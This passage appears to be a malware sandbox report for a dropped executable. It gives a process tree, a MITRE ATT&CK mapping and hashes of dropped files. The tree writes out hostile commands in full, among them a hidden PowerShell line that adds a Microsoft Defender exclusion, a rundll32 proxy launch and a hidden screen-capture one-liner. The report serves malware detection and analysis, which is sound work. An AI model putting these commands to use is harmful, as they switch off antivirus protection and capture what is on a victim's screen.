                                powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe'"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Suspicious behavior: EnumeratesProcesses
                                PID:1520
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe""
                              3⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:5940
                              • C:\Windows\system32\reg.exe
                                reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe"
                                4⤵
                                  PID:1040
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe' -ErrorAction SilentlyContinue""
                                3⤵
                                • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
                                • Hide Artifacts: Hidden Window
                                • Hide Artifacts: Ignore Process Interrupts
                                • Suspicious use of WriteProcessMemory
                                PID:2888
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe' -ErrorAction SilentlyContinue"
                                  4⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:4156
                              • C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe
                                C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe
                                3⤵
                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Checks whether UAC is enabled
                                • Modifies registry class
                                • Suspicious behavior: EnumeratesProcesses
                                PID:5488
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe""
                                3⤵
                                • Executes a command shell one-liner
                                • Suspicious use of WriteProcessMemory
                                PID:4228
                                • C:\Windows\system32\cmd.exe
                                  cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe"
                                  4⤵
                                  • Executes a command shell one-liner
                                  • Suspicious use of WriteProcessMemory
                                  PID:2156
                                  • C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe
                                    "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe"
                                    5⤵
                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                    • Checks BIOS information in registry
                                    • Executes dropped EXE
                                    • Checks whether UAC is enabled
                                    • Modifies registry class
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:3464
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe""
                                3⤵
                                • Executes a command shell one-liner
                                • Suspicious use of WriteProcessMemory
                                PID:2420
                                • C:\Windows\explorer.exe
                                  explorer.exe "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe"
                                  4⤵
                                    PID:3916
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe""
                                  3⤵
                                  • System Binary Proxy Execution: Rundll32
                                  PID:596
                                  • C:\Windows\system32\rundll32.exe
                                    rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe"
                                    4⤵
                                    • System Binary Proxy Execution: Rundll32
                                    PID:4324
                                    • C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe
                                      "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe"
                                      5⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Checks whether UAC is enabled
                                      • Modifies registry class
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:2768
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe' -WindowStyle Hidden""
                                  3⤵
                                  • Hide Artifacts: Hidden Window
                                  PID:1456
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe' -WindowStyle Hidden"
                                    4⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:4168
                                    • C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe
                                      "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe"
                                      5⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Checks whether UAC is enabled
                                      • Modifies registry class
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:2292
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\dllhost_8c75a5.vbs""
                                  3⤵
                                  • Executes a command shell one-liner
                                  PID:5932
                                  • C:\Windows\system32\wscript.exe
                                    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\dllhost_8c75a5.vbs"
                                    4⤵
                                    • Executes a VBScript file via the Windows Script Host.
                                    PID:1916
                                    • C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe
                                      "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe"
                                      5⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Checks whether UAC is enabled
                                      • Modifies registry class
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:3636
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\mssetup_5b1442.png\"); $g.Dispose(); $bmp.Dispose()""
                                  3⤵
                                  • Hide Artifacts: Hidden Window
                                  PID:1868
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\mssetup_5b1442.png\"); $g.Dispose(); $bmp.Dispose()"
                                    4⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:1132
                            • C:\Windows\explorer.exe
                              C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                              1⤵
                              • Modifies registry class
                              • Suspicious use of SetWindowsHookEx
                              PID:2836
                              • C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe
                                "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe"
                                2⤵
                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Checks whether UAC is enabled
                                • Modifies registry class
                                • Suspicious behavior: EnumeratesProcesses
                                PID:6020
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k GPSvcGroup
                              1⤵
                                PID:2248
                              • C:\Windows\system32\sihost.exe
                                sihost.exe
                                1⤵
                                • Suspicious use of FindShellTrayWindow
                                PID:2980
                                • C:\Windows\explorer.exe
                                  explorer.exe /LOADSAVEDWINDOWS
                                  2⤵
                                  • Boot or Logon Autostart Execution: Active Setup
                                  • Enumerates connected drives
                                  • Checks SCSI registry key(s)
                                  • Modifies Internet Explorer settings
                                  • Modifies registry class
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of SendNotifyMessage
                                  • Suspicious use of SetWindowsHookEx
                                  PID:1192
                              • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                1⤵
                                • Modifies registry class
                                • Suspicious use of SetWindowsHookEx
                                PID:2968
                              • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                1⤵
                                • Modifies registry class
                                • Suspicious use of SetWindowsHookEx
                                PID:592
                              • C:\Windows\System32\SecurityHealthHost.exe
                                \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
                                1⤵
                                  PID:4508

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Reconnaissance

                                      Resource Development

                                      Initial Access

                                      Execution

                                      Command and Scripting Interpreter

                                      3
                                      T1059

                                      PowerShell

                                      1
                                      T1059.001

                                      Visual Basic

                                      1
                                      T1059.005

                                      Windows Command Shell

                                      1
                                      T1059.003

                                      Persistence

                                      Boot or Logon Autostart Execution

                                      1
                                      T1547

                                      Active Setup

                                      1
                                      T1547.014

                                      Privilege Escalation

                                      Boot or Logon Autostart Execution

                                      1
                                      T1547

                                      Active Setup

                                      1
                                      T1547.014

                                      Defense Evasion

                                      Hide Artifacts

                                      3
                                      T1564

                                      File/Path Exclusions

                                      1
                                      T1564.012

                                      Hidden Window

                                      1
                                      T1564.003

                                      Ignore Process Interrupts

                                      1
                                      T1564.011

                                      Impair Defenses

                                      2
                                      T1562

                                      Disable or Modify Tools

                                      2
                                      T1562.001

                                      Modify Registry

                                      3
                                      T1112

                                      Obfuscated Files or Information

                                      1
                                      T1027

                                      Command Obfuscation

                                      1
                                      T1027.010

                                      System Binary Proxy Execution

                                      1
                                      T1218

                                      Rundll32

                                      1
                                      T1218.011

                                      Virtualization/Sandbox Evasion

                                      1
                                      T1497

                                      Credential Access

                                      Discovery

                                      Peripheral Device Discovery

                                      2
                                      T1120

                                      Query Registry

                                      5
                                      T1012

                                      System Information Discovery

                                      5
                                      T1082

                                      System Location Discovery

                                      1
                                      T1614

                                      System Language Discovery

                                      1
                                      T1614.001

                                      System Network Configuration Discovery

                                      1
                                      T1016

                                      Internet Connection Discovery

                                      1
                                      T1016.001

                                      Virtualization/Sandbox Evasion

                                      1
                                      T1497

                                      Lateral Movement

                                      Collection

                                      Command and Control

                                      Exfiltration

                                      Impact

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      StartupProfileData-NonInteractive
                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                      • Size 1KB
                                      • SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      StartupProfileData-NonInteractive
                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                      • Size 1KB
                                      • SHA256 3b8d81e755972d0b47d8ee2cf37e173b9a84dab83f69f47ee897a7db3500370d
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      StartupProfileData-NonInteractive
                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                      • Size 1KB
                                      • SHA256 c60f573f8c9b8d5b1483a5c7cdbcb52e4bc048106c83578b53492bec56878cb8
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      StartupProfileData-NonInteractive
                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                      • Size 1KB
                                      • SHA256 c3eca1ec6f65452a3a8c3b797f54095da9dd00543cf6f3838b583d961f906869
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      StartupProfileData-NonInteractive
                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                      • Size 1KB
                                      • SHA256 cf945b43222be12fe29077d14d2ce5a41c5f926508e7f4beb813741bd761cdb8
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      StartupProfileData-NonInteractive
                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                      • Size 1KB
                                      • SHA256 dc2947e3bcf8d52e027b9e9fdd90ae15687bc3bb0375d8c2633000f0d8b827f0
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      StartupProfileData-NonInteractive
                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                      • Size 1KB
                                      • SHA256 f2640065049aa4722f7bbad03d1a5322169e1ad542d680cff4baa7f60dac5440
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      prep_Activatable Class_Hermes_perf.cache
                                      • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                                      • Size 599B
                                      • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      agent_setup_fb.exe
                                      • Path C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe
                                      • Size 5.4MB
                                      • SHA256 91f5bf522a473d2326518840357a18274c6b96ac43f2a309b8c5f20b16431fde
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      __PSScriptPolicyTest_24pjlg0c.iqi.ps1
                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_24pjlg0c.iqi.ps1
                                      • Size 60B
                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      dllhost_8c75a5.vbs
                                      • Path C:\Users\Admin\AppData\Local\Temp\dllhost_8c75a5.vbs
                                      • Size 255B
                                      • SHA256 1d7b4035d556aca5e9acc614c3c5d121b82ba6d0337d07ac4597ba9ec11bfeda
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      mssetup_5b1442.png
                                      • Path C:\Users\Admin\AppData\Local\Temp\mssetup_5b1442.png
                                      • Size 550KB
                                      • SHA256 5d2ee219ec0e5bc810161e0ed0076762eefcb4f352b6094351412586256a029d
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      LICENSE.electron.txt
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\LICENSE.electron.txt
                                      • Size 1KB
                                      • SHA256 5154e165bd6c2cc0cfbcd8916498c7abab0497923bafcd5cb07673fe8480087d
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      LICENSES.chromium.html
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\LICENSES.chromium.html
                                      • Size 8.7MB
                                      • SHA256 ad35e72893910d6f6ed20f4916457417af05b94ab5204c435c35f66a058d156b
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      chrome_100_percent.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\chrome_100_percent.pak
                                      • Size 150KB
                                      • SHA256 49aff5690cb9b0f54f831351aa0f64416ba180a0c4891a859fa7294e81e9c8e3
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      chrome_200_percent.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\chrome_200_percent.pak
                                      • Size 229KB
                                      • SHA256 4d5b51f720f7d3146e131c54a6f75e4e826c61b2ff15c8955f6d6dd15bedf106
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      d3dcompiler_47.dll
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\d3dcompiler_47.dll
                                      • Size 4.7MB
                                      • SHA256 7353f25dc5cf84d09894e3e0461cef0e56799adbc617fce37620ca67240b547d
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ffmpeg.dll
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\ffmpeg.dll
                                      • Size 2.7MB
                                      • SHA256 11daf2bf89a3ac660533b3e487e0624668b35f45d2bd94e9b0324bce8758de60
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      icudtl.dat
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\icudtl.dat
                                      • Size 10.2MB
                                      • SHA256 7bf96c193befbf23514401f8f6568076450ade52dd1595b85e4dfcf3de5f6fb9
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      libEGL.dll
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\libEGL.dll
                                      • Size 468KB
                                      • SHA256 a4336a318e8d92a47843d5fe429dc6d1ff7271d8bac189d719bc8074a128fd6e
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      libGLESv2.dll
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\libGLESv2.dll
                                      • Size 7.3MB
                                      • SHA256 7b0baa9e2e731716efe3e0bebf6a0bcd2d64f35d9f62b20d23acb4e098c9be36
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      af.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\af.pak
                                      • Size 478KB
                                      • SHA256 e36a906908a92dad39ad8e5b344b38c538574e35c5386ac2b901640b202d3228
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      am.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\am.pak
                                      • Size 776KB
                                      • SHA256 1847f8517d8f26c856adbf08df3996d5f3b7ab61378199c138346bfe29675f01
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ar.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\ar.pak
                                      • Size 851KB
                                      • SHA256 04e83274dec0274dccbd97dabcefe3174ea1da5b62b5d24e047e2036b93f3482
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      bg.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\bg.pak
                                      • Size 885KB
                                      • SHA256 24c09721c3cb4f3fe7eb403113375257197bed808295c6b85532409b6664db45
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      bn.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\bn.pak
                                      • Size 1.1MB
                                      • SHA256 bf2fa4c57095e0be63e8cd1ae6d2389d6417a91d8c9e1970eeee5363c46f0d27
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ca.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\ca.pak
                                      • Size 538KB
                                      • SHA256 f4da114b473c34e0946b12289f6e802fcede2f66013d4f184c729a1f8ae7350e
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      cs.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\cs.pak
                                      • Size 555KB
                                      • SHA256 5635587f6ffb152c027b4357092fe78168e31cbc7f6be694c627f819c1ad1d73
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      da.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\da.pak
                                      • Size 501KB
                                      • SHA256 0c75acb008dd5c918d8a1a73c22fa7c503961481bf1708f6bda0da58693c3c08
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      de.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\de.pak
                                      • Size 536KB
                                      • SHA256 e33ea8240835cc775a9e88942aa2905d17cef84929602fd2c4f26f33f9bdc52a
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      el.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\el.pak
                                      • Size 971KB
                                      • SHA256 f1e01eeb90c0842f7af927f65d034fc93fdbcbcb9b9ea7e31c79761c316c8fb8
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      en-GB.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\en-GB.pak
                                      • Size 436KB
                                      • SHA256 ad460425c88be889d6d6a9b69d0b6f64e2e957bf8ac4f230de4d25340c75ba87
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      en-US.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\en-US.pak
                                      • Size 440KB
                                      • SHA256 20be1732675fedf380010b09936ed65c71bb761d0a05732215ef0795b5aba606
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      es-419.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\es-419.pak
                                      • Size 530KB
                                      • SHA256 06d13ffc791bb7189f5afbb166b1dc2bcf9309f04b68e4f16baacd4b3f625021
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      es.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\es.pak
                                      • Size 530KB
                                      • SHA256 77aa01763c114b75a83de3c34c60497b1ca23c98523f58a43c76aae7380ab3b6
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      et.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\et.pak
                                      • Size 481KB
                                      • SHA256 ac1431e61f8c6c56ef96860dc8a8ddf840dbf6965af6b920d811b7e39adab6b1
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      fa.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\fa.pak
                                      • Size 789KB
                                      • SHA256 d77aadacdb5b72345c68590ece6463efcdd4e8817fe3dedad98d64f132b8e48f
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      fi.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\fi.pak
                                      • Size 492KB
                                      • SHA256 ae902ab57a1325d4f0a0a1c69790f28f5e49b5671a99c4c315367b4425d1de97
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      fil.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\fil.pak
                                      • Size 556KB
                                      • SHA256 a30015021fb928bcf16f9409fb45fb89ca3d196bafb3597df3fe4a9e477a3fd9
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      fr.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\fr.pak
                                      • Size 574KB
                                      • SHA256 c22e274fbc4a033cb8a9a4e9a96f82487dc671ec0ad49b3257939d2a8a751442
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      gu.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\gu.pak
                                      • Size 1.1MB
                                      • SHA256 7b06f3b7040901e7dbd2884ba534d43e73013ce0677bc725d53bccd54759ad5e
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      he.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\he.pak
                                      • Size 691KB
                                      • SHA256 d71c98ed9ef2aaf13033332dcd40f41785656c156d41614916353daa3ea5f2a7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      hi.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\hi.pak
                                      • Size 1.2MB
                                      • SHA256 352f833b4f936369216eeaa1f8c5e652b34a36cc143ff9a872b0608e4e88957c
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      hr.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\hr.pak
                                      • Size 535KB
                                      • SHA256 f882072827c75a5c046e29cc4e2468a41cb786199045b58550e978272d338fe8
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      hu.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\hu.pak
                                      • Size 576KB
                                      • SHA256 e806294a2d609a514dfa416a07625fb2f173018bb2e278323f752efc459c39f8
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      id.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\id.pak
                                      • Size 475KB
                                      • SHA256 c8e30f0c11d78c7d603df40bf6e9b2fe896eb36a8eee27d9621a537545b2f609
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      it.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\it.pak
                                      • Size 523KB
                                      • SHA256 89d7ec12aa52d5f2298d3fddfa24439bd89031c4341f1d2b9900a2e46664f7d8
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ja.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\ja.pak
                                      • Size 639KB
                                      • SHA256 4c34aafd5794886a4d091c4f4a97642bb9f199b90203d904e14e503fc3edb845
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      kn.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\kn.pak
                                      • Size 1.3MB
                                      • SHA256 eb1bd5b8f89b9e9b568912455ad3b8a791f3370a34411e6fc982a661cc1b05ad
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ko.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\ko.pak
                                      • Size 540KB
                                      • SHA256 87f8003e7fe90a487c1007a626d30b8a77feb54e627d3fe365ddb6a66a7e4ac4
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      lt.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\lt.pak
                                      • Size 580KB
                                      • SHA256 95253deae9554317c60490a982a4d310c87238096e3bad0329e8bf4c944cbaed
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      lv.pak
